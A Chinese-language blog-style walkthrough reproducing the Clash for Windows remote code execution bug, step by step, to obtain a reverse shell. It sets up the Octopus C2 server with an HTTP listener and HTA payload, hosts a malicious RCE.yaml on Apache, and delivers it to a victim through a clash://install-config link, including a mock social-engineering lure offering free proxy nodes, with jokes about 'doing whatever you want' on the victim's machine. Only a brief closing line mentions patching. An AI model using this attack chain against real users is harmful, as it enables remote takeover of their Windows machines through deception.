Clash猫猫RCE复现(弹shell)

Clash For Windows RCE弹Shell

小白:RCE是什么

大佬:Reliable Computer Engineering (可靠的电脑工程)

咳咳,应该是Remote Code Execution(远程代码执行)= =

免责声明

本文章为PGR的个人漏洞复现笔记,仅供参考/学习,如用文章中技术造成任何损失的后果自负

前期准备

Tip:请使用一个Linux机器和一个Windows机器,否则可能会出现<意想不到>的问题

(没有Linux? 去下载一个Kali Linux吧)

一个有漏洞的Clash Windows 客户端

下载地址

下载后按照提示在Windows系统下安装即可

C2工具Octopus

在一个装好了Python3和Git的Linux系统执行以下的操作

如果你没有安装,请参考

安装Git

安装Python3: 终端输入sudo apt install python3

(由于大部分系统已经预装,如果你非deb系请自主上网搜索安装方式)

git clone https://github.com/mhaskar/Octopus.git

cd Octopus

pip install -r requirements.txt

python3 octopus.py

成功安装后你会看到如下界面

┌─[askar@hackbook]─[/opt/redteaming/Octopus]

└──╼ $python3 octopus.py

___ ___ ___ ___ ___ ___

/ /\ / /\ ___ / /\ / /\ /__/\ / /\

/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_

/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\

/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\

/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\

\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/

\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/

\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/

\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/

\__\/ \__\/ \__\/ \__\/ \__\/ \__\/

v1.2 stable !

Octopus C2 | Control your shells

Octopus >>

之后再运行只需要输入

python3 octopus.py

Apache2

deb系

sudo apt install apache2

yum系

sudo yum -y install httpd

sudo firewall-cmd --permanent --add-port=80/tcp

sudo firewall-cmd --permanent --add-port=443/tcp

sudo firewall-cmd --reload

其他系统请参考官方网站

漏洞复现

Linux(攻击机器)

在刚刚下好的Octopus目录下打开终端

输入python3 octopus.py

进入Octopus界面后输入如下内容

listen_http Linux的ip 5555 Linux的ip 5 随便起一个名字.php 名字

generate_hta 名字

面向想做Hacker的小白的提醒 (大佬们可以直接略过了)

获取IP: 在终端输入ifconfig

请不要傻瓜式抄命令,这里的ip/名字都是需要自己改的

现在Octopus已经开始监听了QAQ,记下Octopus给出的链接,并把这个终端放一边 (别关掉)

在Apache站点的默认目录/var/www/html/里放入我们的恶意配置文件,并命名为RCE.yaml

命令如下:

sudo vi RCE.yaml

写入如下内容

port: 7890

socks-port: 7891

allow-lan: true

mode: Rule

log-level: info

external-controller: :9090

proxies:

- name: a

type: socks5

server: 127.0.0.1

port: "17938"

skip-cert-verify: true

- name: abc

type: socks5

server: 127.0.0.1

port: "8088"

skip-cert-verify: true

proxy-groups:

-

name:

type: select

proxies:

- a

原理:这是一个XSS漏洞,把payload放进Proxy的名字里,即可实现任意js代码执行,这里是执行指令mshta(命令) (参数)

按下Esc键并输入:wq保存并退出

之后,攻击者就可以吃西瓜静等上线了

诶嘿嘿= =

Windows(某个可怜的小白的机器)

PGR可是从来不欺负小白的哦 (坏笑)

模拟社工过程:

Hacker: “需要白嫖Clash节点吗QAQ???”

小白: “好啊”

Hacker: “这是你要的节点clash://install-config?url=xxx&name=RCE”

咳咳,逃~~

在Windows任意浏览器里输入

clash://install-config?url=http://Linux的ip/RCE.yaml&name=名字

Tip:记得换IP和名字

然后在弹出的提示点打开(Open)Clash For Windows

进入Profiles页面

选择你取的名字(这里是RCE).yaml

切到Proxies页面并点击那个a(这一步不是必须的,因为这个RCE有些不稳定)

成功GetShell (露出恶毒的笑容)

Octopus收到了反弹的shell,可以 <为所欲为> 了

输入interact 1即可在那台倒霉Windows上执行任意cmd指令啦.QWQ.

漏洞防御

目前Clash官方已经发布了修复漏洞的最新版本

下载链接

Ref

https://github.com/Fndroid/clash_for_windows_pkg/issues/2710

Compiling and Installing - Apache HTTP Server Version 2.4

GitHub - mhaskar/Octopus: Open source pre-operation C2 server based on python and powershell